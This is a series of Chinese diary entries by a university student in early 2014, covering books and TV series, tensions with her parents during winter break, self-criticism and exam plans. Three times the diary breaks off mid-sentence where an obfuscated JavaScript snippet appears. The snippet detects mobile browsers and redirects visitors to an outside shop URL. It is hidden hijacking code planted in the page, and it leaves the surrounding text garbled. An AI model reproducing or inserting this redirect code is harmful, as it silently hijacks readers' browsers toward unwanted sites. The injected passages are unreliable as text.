刷“知乎”是我干的挺正确的一件事，看百家观点，然后自成一派？其实是求认同啦。今天刷的是“考研英语复习”，结果就刷成了“读书有何目的”？陈章鱼说：“读书和旅行一样，都是在别人的世界，寻找自己。”其实我已经明白了这一层，却仍旧被“量化”束缚。想想我为何有这种心理？来源于我的致命缺点：“想的多，做的少。”我妄想用书的量来掩盖我做的少的事实。另一方面，我虽然体会到读书乐趣，却仍想从中获利，比如得到某种提升，自己又什么从内到外升华啦！说白了，功利。读书不应有什么目的，应是出于爱，这是一种兴趣。 我也不知道从什么时候开始我不再脸红羞愧，或许是无意义吧！所以我在这大谈特谈自己的各种阴暗面。刚才的问题再进一步说，是我的心态和品质问题。心态就是不平衡，同样的时间我去阅读，她们在复习，结果是考试成绩我往往不及他人。我明知自己享受了阅读乐趣，且自己的获益比他人有益长远，可仍旧避免不了对眼前即得利益的垂涎。好了，所以我反复强调和告诉自己，她们这样不如我。可我又犯了一个错误，是缺乏持续努力的品质。我曾承认甚至当众表达过自己对某学霸这种品质的赞扬，只是自己没有，仍会眼红，这是我内涵不够。最近我醉心于自己这一年来身心上的改变，还真是自恋到死。 好了，2014的愿望，不，是要做的：“比以往任何一年努力！”（我都服了，看了两眼电视剧，前面要写什么都忘了……） 2014年1月4日 星期六 晴 《丁不起的盖茨比》并没有给我带来太大的震动，或许是我从一开始就讨厌女主，所以…？盖茨比通过非法手段得到了惊人的财富，然后只为了用此重新获得只能用金钱取暖的黛西。千百万人参加他的宴会白吃白喝，却仍对他说三道四，这是“人们”、“大家”。盖茨比死后没有人来，可是死后有没有人来又怎样？或许这些东西我有所经历，我总是对人冷漠，这就是“大家”。不要用别人衡量自己，合理定位，过自己的生活。对了，交情是在活着的时候讲的。 80.大三寒假（上） 2014年1月12日 星期日 阴 回家几天，除了吃的好，多的是不适应。天气、还有家的琐碎。你要在准时的点吃饭，从上大学以后我发现和父母越来越远。我喜欢的东西在他们这里得不到回应，我想和他们分享的东西不如电视剧有意思。同理，他们和我说的事也让我无聊。 简直是忍不了了，基本看的节目已经完全脱节，我还是回房间写日记。在固定点吃了饭以后就再不记得自己的灵感，只是，我决定试一试扼杀自己的感情。 2014年1月15日 星期三 雾 没几天，整个人懒散得一塌糊涂，家里很琐碎。前几天看完了动漫《邻座怪同学》，虽然是流行的开放式结尾，（这是我比较不喜欢的），可这部动漫还是很可爱的。我没有绿子（《挪威的森林》里的角色），也没有小雯的勇气，承认自己的心意但仍旧努力奋斗的勇气。我一直想做一个一边恋爱一边拿好成绩的人，只是现在从未实现…… 从美帝刚回来那段时间，我的表现还是很不错的，连带心态也挺好，可现在又被打回原形。我缺点那么多，我一定改！一个一个改，克制是大事！ 《名利场》看到现在除了喜欢作者居高临下地调侃，剩下的世俗有时在心理上难以接受。女主是可恶，虽然我理解一步一步向上爬的心理。女二是蠢，对于男人来说，长得漂亮的女人傻是单纯，长得丑的女人傻才是傻，但对于我来说，自保都做不到就是蠢（除非外物太强大）。似乎这种话又要被说是刻薄。钱对于我们来说到底有多重要？利蓓加在上流社会无限风光，可她缺钱，所以伸手向各种男人要。当然，我佩服她的算计，是那些个人（大多男人）自愿围着她转。风头太盛是会死的！算了，看我的概率。 2014年1月16日 星期四 晴 终于结束了《名利场》，我是有多么恨蠢女人。爱米的结局难道是告诉人们好人终有好报？那蓓基还不是一样活得很快乐？！都宾的前四十几年是怎么个活法啊！这样说来，我要好好对爱我的人。名利场，终归一场戏，浮名浮利，收起木偶就散场了，人生在世短短几十年，有些事又何必？ 最近越发不喜欢这类书了，也说不清是哪类，看着人在这里那里跳来跳去，总觉得够了。可自己的心还是没能安抚好啊！我在努力找寻的又是什么？ 午睡是哭着醒过来的，只隐约记着是因为自觉要读书，自己很爱父母哭起来的。我在想，在这样的家庭，我为何还会觉得缺爱？是否因为自己年龄太小，所以无法理解严厉的爱？父母的教育方法是没有河题，只是不适合我。如果现在我这样说还不具备资格吧！等一等，不是对谁坦诚都好的。 2014年1月17日 星期五 晴 昨晚和雯雯、丽丽见了面，一年不见，却未有太亲切的感觉。接触时间长点就想回家，中午才知道自己是“外向型孤独症”，日记里有多次描述的自我内心就是症状。我开始思考明明是七个玩在一起的人，为什么我从上高中发生了那件事后开始疏远。 那是我低谷的时候，我的内心极度脆弱，所以我害怕从未给过我温暖的人，害怕她们的刻薄。为什么害怕？我曾经真心地对每人，她们是我认为重要的人，可却总是相互刻薄。为什么又只有我不能存活？因为脆弱。 直到现在我开始改变，只有真的强大才可以“自我拉扯”。我会记得对我好的每一个人，对他们好。妈妈总是心疼地问我：“为什么当初那些人会让你那么受伤？”单纯已离我远去，我要学会坚强，不再让父母和爱我的人为我担心。我总是控制不住去伤害爱我的人，嘴上说要抛弃那些伤害，可却仍旧听不进父母的劝。我开始一个一个地解开心结，一步一步走向强大，然后用永远炙热的心去爱我重要的人。沉淀，忍耐，迎接未来。 2014年1月27日 星期一 晴 只要有好的心态，你不论做什么都会有不错的感觉。昨晚和大家一起去看初中英语老师，玩得非常开心。凡是太较真的人，最后一定很累。和以往的假期比，确实有那么点进步，不过不那么明显，我真心断绝了其他念头，好好考研吧！期待我一直到博士的那一天。 和大家的浙江之行结束了有一周了，想想那几天，真是换了个地方聊八卦、小水妈说“县城已经不够你们疯了！”我们也就在这几年青春了，之前我错过太多，那现在一定补回来！加倍！ 2014年1月31日 星期五 晴 年初一，至今没有什么过年的感觉。很遗憾，我未能始终如一地保持高大上的姿态，经常会矮到尘埃中匍匐…… 说要放下一件事原是这样不易，不过那几分钟的悲伤感怀过后又连记录都不想做了。每天都会有意想不到的鸡血洒在你身上，不过无非是各种大牛。“知乎”上一大牛说“没有什么能轻易定义结束和开始，除了我们赋予新年的仪式感。”如此高的逼格，我何时才能达到！有时明明是真心，却被人说装逼，可现在才明白，“装逼”可以当做褒义来理解，想到一个自嘲的段子：“单反是用来装逼的，所以我买了单反。”我装的时候我就认！ 采铜说澳大利亚产的金宝乐牛轧糖好吃到升天，一定试试！老子要读书了！话说，每天低于八小时的有效学习应感到羞耻，我好羞耻……这么多天没看几页书，这样下去如何升级？！ 2014年2月5日 星期三 多云 用龟速又看了一遍《哈利·波特与魔法石》，刷了一下“知乎”，瞬间灵感全无……这是什么节奏？ 前几天梦见在外婆家刮大风，门关不上，外婆说：“这点小困难一定要顶住！”后来我心头一暖，关上了门，只记得天边风起云涌，后来直接跳到大山和我坐一小火车在一特大氯化钠结晶的山前停下，窄窄一条盐铺成的小路通向无边的盐海！美！ 2014年2月7日 星期五 阴雨 昨晚非常想写日记来着，只是因为纠结爬不起来作罢了。很可惜，写东西的灵感过了就很难再聚集。 这几天心又散了，还是不够强大，信息量一旦太大，我的内心就会再次迷茫。到底什么才是我想要的？有一点，我承认自己的自私，因为我非常享受别人对我的爱。 2014年2月8日 星期六 雨 这几天降温了，不喜欢。昨天和大家玩了好久“谁是卧底”，总的来说，日子过得太悠闲了。只是有心理上的压力，却没看到什么行动…… 重新说说《哈利·波特》系列，开始第二部。这次居然在书中发现了Bug！以前看过的书再看的感觉还是不错的！前几天有看罗琳的采访，她说后悔让罗恩和赫敏在一起，应该让哈利和她在一起！这是我YY了多少次的场景啊！不过，如果马尔福和她在一起，才是真的有意思！上次看到哈利·波特被评为“最令人讨厌的主角之一”，因为他自大、固执，总让朋友和他一起陷入困境。不记得从什么时候开始我讨厌哈利这个角色，难道是因为他和金妮在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130134|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？ 生气是对自己无能的愤怒，我无能。在低落的时候我总会想到自己各种不好让自己更低落，好在现在恢复得比较快了。我仍认为这是一种病态。有的时候我就是克制不住自己，要爆发！总是被人说太单纯，可明明思想这么复杂！大山说这是另一种单纯…… 我承认自己谈感情的问题年纪还太小，可是妈妈每次都这样让我有点不耐烦了。我也不理解为什么自己什么都想和人说？有病？！还是说以后要找个方法排解一下，写日记！不要老是找人说。 总是对人有厌恶感，会觉得人很愚蠢，现在仍旧是，为什么不可以对所有人坦诚？是怎样不就是怎样吗？父母对我有强迫的习惯，我潜移默化开始喜欢强迫他人。我害怕自己以后的孩子也变成这样，小朋友会不会恨我？我仍旧认为自己成长成这样是因为环境和教育。教育，我认为失败！所以不想把小朋友交给父母，我爸说：“你以后会求着你妈去带的！”多么高大上的姿态。 啰嗦这么多，无非是这几天我没怎么努力，空虚了！可怕呀！据说很多人都在拼了命的努力啊！怎么办？其实我也很希望自己可以强大到不用交际啊！我会说我讨厌交际吗？最近总是喜欢把一些事讲得很没有人情味，其实自己却心很软。我也不知道自己是不是都可以做到，只是看到别人那样就是会很生气，很讨厌！ 有用的东西多看一点是一点！《水力学》？还是《哈利·波特》？ 2014年2月9日 星期日 雨 凌晨，又熬夜了……想找个人说话，选了向阳哥哥的基友。我偷懒了很多天，没有动力。按他的说法，我有足够充分的理由奋斗，欲望！不强烈！别人对你说再多都没用。他对我点到为止，作风我喜欢！ 晚上大山为我送了饭，我们又玩起了给小朋友起名的游戏。名字叫“好好”，小名叫“好”，父母就是“好吗？（好妈）”“好吧！（好爸）”“好”拆开是“女子”，所以是女生的名，男生叫“好弟”或“好歌”。 看宜宜在空间上发了大合照。那晚我们一起吃饭说得就是高中时的我，上课睡觉，下课抄作业，不顾形象把刘海往脑后撩的各种囧事，过去了，不提了。 跳回来，我要学会自己消化事物，不可以凡事依靠别人。爱我的人和我爱的人选前者，因为可以让两个人都幸福。既然是爱，那就努力，否则真的是无所谓，难道我们都无所谓？ 2014年2月11日 星期二 晴 忽然降温，好冷！昨晚回家的时候天空飘起了雪，心里顿时涌起无限的浪漫。刚看浩子分享的《夏目友人帐》的初雪篇，一个叫“软绵绵”的妖怪说：“人类不就是在不断找寻的生物。不断找寻，又不断遗忘。” 不知道又是什么时候开始，我再没有记住那么多人生日的好记性。先是忘了向阳的，昨天是小迪。现在我似乎不再愿意花时间去讨好了吧！也不能这样说，以前或许是太无趣了。 今晚吃饭听老一辈回忆小时候的种种，换牙要把上牙床的牙丢进床底，下牙床的牙丢上屋顶，还要担心不要让鸡吃了，我听了痴痴地笑。从什么时候开始，我们又在回忆过去？ 家里请客那天，第一次听说了父辈的名字来源，顿时感到贾家祖辈多少有点子书卷气，只是到现在怎么散成了这样！二堂姐已为人母，三姐姐也“封山育林”，拖了这么多年，也终于把书还给了大姐姐。这只是一切的开始，我就要二十一岁，直到三十岁，这又是一个美丽的阶段。 81.大三寒假（下） 2014年2月16日 星期日 雨 还差几分钟又是零点，抱歉！今晚又要晚睡……连续好多天晚上睡不着，今晚不如先好好整理一下自己再睡个好觉。 今天的“知乎推荐”挺不错的，都是我喜欢和感兴趣的内容。一个是“你有没有一瞬间觉得自己很穷？”这种问题很现实，我却从没有认真想过，这都是在对比之后才会有的感觉吧！感觉自己和别人家庭上的差距。我会害怕去评判一个事物，似乎自己并不能拿捏准确，这个世界太纷扰复杂了。忽然想到小强和女友分手是因为他觉得她变得物质，物质这种事你怎么说？据说大家觉得我不物质，可那是因为我有啊！ “知乎推荐”的第二个问题是？怎么向支教地区的老师解释我穿几百元的鞋？”这是我害怕面对的问题，所以现在我不去想“支教”的事。回答让我明白了很多，（知乎好地方！）如果你不买鞋，那鞋厂的工人怎么生活？并不因为你贫穷，你就可以要求别人无条件地帮助，这是一个错误的观点。支教也并不是单纯地传授知识，你确实让贫困山区的孩子看到了另一个世界，但你还要让他们学会如何正确地面对。 昨晚大山说他想以后自己有能力帮助改变贫困山村，要先修路，这让我想到了浩子他也对我说过自己想对世界做出一些改变，我小时候也有很多理想，做音乐家、舞蹈家、科学家、社会活动家，现在仍旧有很多想法。高中我学会不嘲笑任何人的理想，但也明白，有些想法不是能对所有人说的。或许他们不是故意嘲笑，却总让我感到恶意。 今晚和阿连一起吃饭，听他说了好多好多，主要围绕的是父母和子女的关系，总感到一丝凄凉。他称自己的家为“空巢”，女儿嫁出去了就空了。他说女儿不给他们主动电话，也少回来，反复说今年过年就初一回来一次，想带外甥却争不过亲家公，毕竟是爷爷。他还说自己当初不孝顺所以这是报应，一定要承受。我妈就在一旁附合说什么舍不得女儿之类的话。阿连说，他哪要她女儿什么钱，他要给女儿钱，让他来看自己，等退休还什么养老？！自己去敬老院！ 我听了很触动，总想做点什么。可想想还有向阳哥哥那么多人，我能做的太有限。问自己做了什么，对父母还是可以的。之前也有疑惑过，虽然我给父母买东西，可花的都是他们的钱，曾经就有人觉得我这样很矫情。我自己也犹豫过，可今天听了阿连的话，我很庆幸自己很早就这样做了。每个家庭的状况是不一样的，对于我家来说，我们不缺钱，父母更不在乎我要给他们钱，所以即使我花他们的钱给他们买礼物仍旧会让他们非常开心，和我家关系好的家庭经济条件都不差，所以孩子这样做是被允许甚至是被期待的！ 父母不需要孩子给钱（当然，这是阿连和我父母），这说明我以前有一个错误的想法，我以前想攒一个大额存折给父母花，可这要花上个几年，倒不如多买东西来看看父母，或者用这些带父母去旅游。钱也可以给（顿时想到很多父母喜欢孩子给钱，个人感到好俗，我父母的水准加上阿连确实比较高～当然我知道说这话有优越感，可是用钱来衡量，应该是只用钱来衡量是不是不算亲情？买礼物也是钱哦！不过至少你要多花一份心思挑选不是？我喜欢这个自己解决想通的点～）但不至于大额！好了，这一下让父母高兴了就是高兴了！幸福感就是这一下一下攒起来的！ 2014年2月17日 星期一 阴 很多感觉都是基于对比产生的，比如自己做的好，做的差；自己优秀或者仍要努力；还有很重要的一点，是不是条件优越！不接触真正的有钱人，你永远只能是个暴发户，因为你有了钱也不知道怎么花，去哪儿花。很多东西我也是无意识间发现的，在这之前我也从不知道原来事件可以这样（虽然不知道写这个方面的改变是为了什么，也不知道自己能否清楚地表达自己，但仍旧决定一试！）。 这是一个有点久远的故事了。以前的条件并不是很好，很多稍高层次的东西都接触不到，后来慢慢家庭条件好了，也开始知道了一些不一样的东西。到现在为止，我多少是懂了一点护肤品的买法，可以为妈妈选购合乎心意的高档货。记得小学的时候吧，妈妈在县城主路通公安巷的拐角的一间杂货店，买一种“玫琳凯”的眼霜，这是最早的记忆。那时候觉得很神奇，原来这就是护肤品。 后来上初中认识了木木，开始帮妈妈换成了“羽西”的眼霜，记得有一次去一家进口商品店买东西，说到妈妈用的是“羽西”，被女店主说“低端”，可那时候真心觉得“羽西”已经很贵了。再后来去贵阳，一心一意想去大商场给妈妈买“雅诗兰黛”，结果导游一句：“更贵的是伊丽莎白雅顿”！”让我深深记住这个牌子。后来开始在聚美上等“雅顿”打折，终于把妈妈的装备升级了！终于以为可以骄傲地告诉别人我妈妈用的护肤品是“雅顿”的时候，木木用一种难以形容的讽刺口吻，带笑地说“其实雅顿很便宜！” 这之间我刷过无数帖子，看妈妈适合的护肤品，也不再一味相信木木的推荐，我决心自己给妈妈搭配出最合适她的护肤全套！自己也尝试，也多查评论，现在终于换成了“科颜氏＋雅诗兰黛”的搭配，这是我们条件可以承受的很不错的搭配！很早以前妈妈曾说过，向阳妈妈用一千多一套的化妆品，后来我才知道，某人妈妈也一直是这样保养着，直到今天，我妈妈也用上高级护肤，我也现在也可以说“你们的护肤搭配弱爆了！” 在不懂的时候，很容易因为别人说什么就动摇，现在自己也用过，知道效果，我也会说：科颜氏不错哦～因为没有条件接触，这整个认知的过程很长久。昨天下午看了《小时代2》，仍旧很佩服郭敬明，他才是真的白手起家（完全没有家庭背景）！钱确实是必要的，这是一个现实的问题。去睿睿家才知道了Alienware，以前以为苹果的电脑怎样，才知道被Alienware完爆！原来我的电脑也是平民中的高端机，这些我果真是不懂。以前最害怕别人问我的东西是什么牌子，当然有人是专业，有人是装逼。现在再不害怕，当然条件优越是一方面，另外也自信了，想通了，知道了就会想用高端的东西，当然，我在这条路上不断前行。 昨晚漏掉了阿连的几个细节，他说他已经告诉了师母，若他去世应穿哪套衣服。很遗憾他女儿不知道他的饭量和喜好。师母说以后要卖掉房子，去到哪个城市就去停留一段再接着走。我不知道这是绝对的酒脱还是绝望，只是听起来总觉得有点凄凉。 2014年2月18日 星期二 雨 事情缘起晚上去看“3D电影”。我打电话问过父母之后，爸表示晚上没空，然后妈坚持要等我爸回家后再问一遍，这就让我无法及时给小韬回话。结果一定是我爸不能去，他不去，我们自己去不就好了吗？我喜欢及时给人答案，因为自己也不喜欢等。 结果就是中午吃饭老爸再一次确定不能去，妈在整个问话过程中的导向，和倾向自己达成目的的方式让我想到了我对大山及更多的所有人，我不喜欢这样，却在不知不觉中已经变成了这样。对于一件已经知道结果的事做出这样的努力，导致不能及时给安排的人回话，我表示很没有意义。妈无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13147321|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈表示那就我们自己去，前一秒还在说若是我爸不去欧伯伯会尴尬之类的话，所以我说那就都不去。我妈说：“因为这一点小事也生气！” 开始了。 我犹豫了一下，说：“妈，有一件我要说，不是说你做的不好，只是我不喜欢这句话。从小到大，我特别害怕你说我‘可怕’或者”让人觉得害怕’，妈妈对女儿说，我会觉得很伤。” 我爸这时候加了一句：“还有，有时候没生气，你硬要说我生气，那就真生气了！” 我补充：“是，有时候只是那一下情绪不好，可能出口就后悔了。”我控制不住情绪，哽咽了。 结果，我妈说：“从结婚开始，贾家智脾气不好，结果女儿像爸爸（写到这句我居然笑了，讽刺！我妈是不是，不！她一定会觉得我可怕！当时好像我爸和我都笑了），只能说你们长得，脸一拉下来，太可怕了，我本来从小就胆小，我是怕你们（写到这句，我先是笑，笑着笑着就哭了，变态了，哈哈哈！）。所以别人都说害怕你（说到这句，我那时候还是认同的，我也觉得大家是害怕我，我是一头受伤的狮子，渴望温暖，却没人敢靠近）。” 听她说完，我顿时觉得她满心委屈。我走下桌缓和了一下，又坐了回去，继续说：“妈，我说这话没有伤害你的意思，也不是说你不好，只是这句话。如果你觉得伤害，那我说了一点意义都没有。我是不是不该说？” 那是我从没见过的表情，我认为很可怕，我妈说：“要说，我说了自我反省，不要以为是自己的丈夫女儿就可以随便说……（还有什么我忘了……）”然后是一脸“你满意了吧？”的表情。 我爸说：“不要再纠缠这件事了！” 我说：“我最后说一句，我知道自己脾气不好，一定改。”后面三个字我已经哽咽到不行。 这次回家我开始尝试沟通，表达自己的真实想法，但一旦涉及是父母方法问题就失败，似乎我的坦白只是加深伤害。说出所有是自私的表现，父母已经到了这样的年纪，又何必逼迫他们再去反思？这点，我错了。在我记忆中，似乎我所有不好的经历让父母知道后，只是加深了双方的痛苦和对我的伤害，这是最后一次，从今以后，只有好，再无烦恼伤悲。 反观父母的态度，我讨厌的父母的一切处事方法都被我继承，而且是两个人加起来我一人沿袭，而我又把这种态度加在和我接触的大多数人身上。优点和能力我留下，缺点我改。 如果自己做不到的事还去要求别人，那就是一种残忍。 致命缺点一：过分敏感，过度解读别人的话，（绝对遗传！看上面的事件）；接下来的缺点不到致命，不过也严重：烂脾气！不合心意马上发作（这个已经进步，大山作证！）；强迫他人：强加自己的想法给别人，虽然很多时候是对的。即使是对，别人也不关我事，有进步，有人证；接下来这个我也说不清，我喜欢拍照片，弄些小玩意，然后把自己的新想法和大家分享，这不知道算不算求认同和关注，也就是内心仍不够强大；极度矛盾：家庭氛围造成，不解释；执行力不够：有进步，有人证！ 这些缺点我都改，起码我敢正视自己的问题好么！看近期的前几篇日记就知道，信息量太大，脑子又凌乱了，算了！我都在改好么！对了，越来越多问题和父母观点有分歧，想和他们（主要是我妈）说一些有意思的问题思考简直白搭好么？！人家根本不听直接转话题好么？！我算是成长出来了，认清什么人说什么话。话说，我做事也太像他们俩了，直接转话题这点简直一模一样！妹子的，认真改！ 82.大三（下） 2014年2月24日 星期一 霾 由于宿舍网实在弱爆了，终于让我可以坐在这里写日记。先说记到的事，这次坐硬座一路过来实在不易，小腿肿了，今天略痛。反正一回来就一大堆的麻烦事！ 回来先把退税表的事解决了，今天选课失败……线代选不上就算了，后来才发现选上的课是11—17周的，应该马上就要和同学去教务处，所以可能日记会中止。周六晚浩子说请我吃饭，结果去了一家不能刷卡的店，他现金没够，还是我付了钱……晚上超市也是人超多，让我想到来时的火车，比春运还可怕……为了换枕头又去了一趟“无印良品”，试用了“知乎”上必须亲身体验的方法，躺在店里的沙发上试用所有型的枕头～这种感觉非常好～这几天在床上躺着，总会在一瞬间发现一个超舒服的姿势，这种感觉超好！ 昨天下午去看了《霍比特人》，3D的英文版，喜欢！看了很久才发现初中的时候看过书……不懂为什么，就是感受到贪婪，各个物种的贪婪。精灵还是身手矫捷，那么美！ 昨晚在等睿睿上传视频到网站，一路兴奋地不行～今天大家也陆续开始看到了我们的东西。感谢睿睿让视频变得如此高大上！大家的反应也还蛮不错的～心里想攒32个赞，今天一看，攒到了！哈哈！ 去考研自习室看了看，真失望，浩子问了句：“我们学校干什么事不让人失望？”我一听，有道理！我还是认了吧！收拾一下，准备去教务处选课。 2014年3月2日 星期日 晴 按照我开学第一周的状态，我想是一定考不上研的……这一周除了极度的自我放任，就是为了重修《概率》和《水文地质》跑断了腿……我们学校的行政机关让我恼火了很久，确实没有做什么事让人不失望的。 惰性是一种极端可怕的东西，我看我还是要努力克服一下的，不管怎么说，考研成功的话，我也算励志人物了！重新和大二的坐一起听课，顿时觉得我校学生质量下滑严重，算了，严重还不是一样考来了……不吐槽了，读书！ 2014年3月3日 星期一 多云 当你越往一件事里深究，你就会发现自己知道的太少，可是明明在很努力地探究，为什么却不一定发现的了。比如对于考研数学的教学视频，在之前的长久时间里为什么就没有意识到？ 现在状态不怎好，看我上一段错了那么多就知道……没有及时记录，现在连一丝灵感也没有了。就记得几天前，硕儿在查什么，阿彬说：“你别查了，太麻烦了，直接问含真。”我要觉得骄傲？无聊，读书吧！ 2014年3月4日 星期二 晴 我绝对需要反思现在的状态，认真学习啊！考研对我来说弥补了太多，所以一定要成功！不单是对考研，而是整个对于课本学习的态度，加油！不要去想其他！读书！ 2014年3月8日 星期六 晴 今天凌晨到1点半才睡，于是突发耳鸣耳痛让我自己吓了一跳，这种对身体健康的危机预警让我害怕。 终于又坐回来继续完成这篇日记。总是没能抓住自己瞬间的灵感并记录下来，真可惜。我自认为是个挺有意思的人，把那些点滴的冲动记下来一定非常有意思。 先说说昨晚我为什么晚睡。往事！一旦说起来就不会停。我还是在压抑感情，所以总是不自觉爆发或偶尔泄漏。一直是那么丰富，亲情、爱情、友情，昨晚我又一次提起那句话：“我幸福又幸运。”不论经历了多少，经历了多少，我只会越来越好。 最近说的屁活有点多了，言多必失，我该冷静下来，认真管好自己的嘴。刻薄和讽刺我都不是故意的，只是又向你强调了一次现实。 不记得有多久没有看英剧、美剧，之前还说《夏洛克》第三季没劲，看了第三集才知道前面的铺垫有多绝妙。《纸牌屋》的权力更迭让我血脉喷张，果真是有片段要回放才会懂，不过智商高的东西，只要我可以懂，就喜欢！ 很久没看课外书，心里有点慌。据说除了出生出书香门弟、知识分子或高层次人家的孩子可以拥有系统完善的科研等类似的高大上的能力，剩下的人只能依靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这次写日记想记录的是层次问题，因为似乎自己用心做了点什么都有不错的效果，可明明自己并不那么优秀，是因为所处的层次不高。那句：“我们做的都是平凡的努力，最终还是一个普通人。”不是所有人都有资格说的，因为除非你在食物链顶端，再怎么努力还是在顶端，剩下的人还是有更高的层次可以往上爬的。你做了越多的努力，就会有越多的回报，同样的努力收效越显著说明你所处的层次越低。（比如我的数学能力……）所以，我们还有什么资格不努力，这上面还有太多太多层了！ 其实我也不确定是否应该花这些时间写日记，但毕竟我是个自恋的人，总认为应该记下我思想进阶的点滴，想必也不是什么太坏的事。 83.大三（下）（2） 2014年3月11日 星期二 晴 我终于来自习室了，看看“862”攒多少灰，哈哈！今天下午开始，心情莫名地烦躁，不爽却又发泄不出来。是不是因为想要的东西没能立刻得到？我想是很有可能的。 连续几天在看《纸牌屋》，很累，里面玩弄的手腕很高超，有些真让人看不懂。当然也有让我失望的，比如做慈善的人并不是真心去做，连这也是一种手段。当然，我只要结果，最后有帮到人就好。 对于婚外情，我依旧不可以理解，难道不是所有的一切都应该保持忠诚吗？我承认Zoe和Franc在一起可以进阶，这无关于爱。当然Clare对此事的态度很牛逼，只因她本身也就是个牛逼的存在。 我非常喜欢Clare和Stewe解释她嫁给Franc的桥段，因为Franc知道她要什么，而且永远不会让她觉得无聊，这无关乎美，Clare完爆了太多人。她在拒绝她宴会的饭店门口办慈善野餐会，为那个扔砖的人取标题“无组织劳工”（原文更赞，不过翻译的已是大牛！），为Peter竞选做的“净水计划”，一个思维极端严谨的女人，一切都不动声色。 还记得以前我的梦想“官商结合。”那一定非常有意思，即使现在想来依旧是，不过，我的心却不够狠。今天看《纸牌屋》我却哭了，一味地追求权力，这也不是我想要的生活，对于Frane一切均是可利用之物和无用之物，要么与他为用，要么被他毁灭。那句话：“Hunt, or be hunted!” 行了，扯了一大堆，想想今天一天干了什么？好像真的没干什么？明天下午会有绝逼扯淡的年级大会，晚上是搞逗的短时普通话考试培训。（就一个小时能给考试做培训？不会是给答案吧？哈！）头有点痛，宿舍一点点小动静都能让我不爽很久，何况是一个丑女人撒娇？！嗯，我又犯了一个错误，在评论别人之前要考虑她是否有你的优越条件？当然没有！但是，你不美，就别作！这是原则！ 2014年3月14日 星期五 晴 阳光明媚的一天，这是几天前就该写的日记，现在居然记不起想写什么…… 先说身体吧！不知从什么时候开始我的求知欲变得很强，不懂就“百度”，会尽自己所能弄清问题，而不是等别人回答或直接忽略。我发现以前我对自己的身体一点都不了解，也不够爱惜。这不是什么好事，所以我从最有意思的方向入手，“性”，关于□□官，这方面的教育太过缺乏。即使像我这样的家庭，父母也几乎未主动提起过什么，我认为这是一种失败。我仍旧好奇我的小伙伴们是怎样知道了那么多，后来发现，百度一下，我也可以。忽然联系到女权，“性”是权力的一种体现，第三代女权主义说：“留在家里是我的选择。”扯的好乱。 这几天没干什么正事，由于舍友退出考研队伍，宿舍又吵闹了起来。这不利于我看视频学习高数，我干脆松懈了。虽然也做不了什么（借口？）大家总在聊未来、理想，其实无非是工作、男人，结局是大家认为确实该找个男人……我又多嘴地去凑热闹，浪费了不少口舌和时间，我个白痴！根本不是一类人，我不该花时间去做那种我自以为的“指导”。不在一个频道，听不懂好么？！任何借口都可以让我不学习呵！ 说说《纸牌屋》吧！越来越讨厌Franc，其实我没有自己想的那样冷血，因为我接受不了无感情的利用，而且越看越讨厌。看来我还是嫩了点。Franc！出生于一个贫苦家庭，他对于权力的追逐让我恶心。据说Clare出生时什么都有，所以她认为权力是必需品，随出生自带，出生，又是出生！似乎出生低微的大部分人在追逐到权利和金钱后心理不那么正派，看来不迷失确实不是容易的事。要看你在得到权利后怎么说，这才是对权利的态度。 我讨厌Zoe，和Franc相比，她太天真。我更讨厌Franc，他的心理我不理解，也看不透。我应该会继续看下去，起码算见了点世面。 这几天我狂躁，似乎是源于生活太平淡。不知道为什么，似乎一旦平淡下来我就不安，能忍则忍，能耐得耐。在这所学校，淡出人际圈，不为其他人风生水起的生活所动，忍耐，读书，沉淀！然后等我考上研秒掉她们，删掉太能表现我内心的状态，沉下去，忍耐住，这是对我的考验！ 我说二十岁到三十岁，这十年我一定要精彩！不要多，一年一定做好一件事。二十岁那年，我去了美帝，临近末尾，我拍了一段不错的视频。二十一岁，我要考研，要考上，这将对我的未来意义非凡。这不要是一句空话，加油！我一定可以。 我会记下现在的疯狂想法，等我有能力更好完成的时候，再去做！我依旧难以安抚自己狂躁的心，这里明明有一团火，我却要把她掩在湖底。我痛苦，是不是有人可以感受到我的痛苦？念念不忘，必有回响，可是这次没有。我很感谢上天，我不坚定，但有人可以比我坚定。我回忆往事，这不是什么好事，所谓的纯真只会让我大笑之后更加惘然。 这几天我又开始计算什么时候可以换一本日记本？我总是这样，在日记本所剩不多的时候就开始谋划着换一本。我的性格使然吧！迫不及待每一次新的开始，这意味着新鲜和改变！这次我还是很努力僵持着，（虽然仍旧期待在今年生日那天可以换一本，所以现在努力地凑字数！哈！有些东西真是一点没变）。我以前的几本日记，后面总是空着很多页，现在算来，起码又够写上三个月的。 很久没有写书评和影评了吧，昨天中午又看了一遍《前任攻略》。我开始厌恶自己的怀旧，有时候真恶心，既然过去，为什么还不释怀？下载了《青铜时代》等着回去看，最近没怎么看课外书，看样子灵魂是要腐烂了，不管别人怎么说，自己强才是真，还不够，那就忍耐。 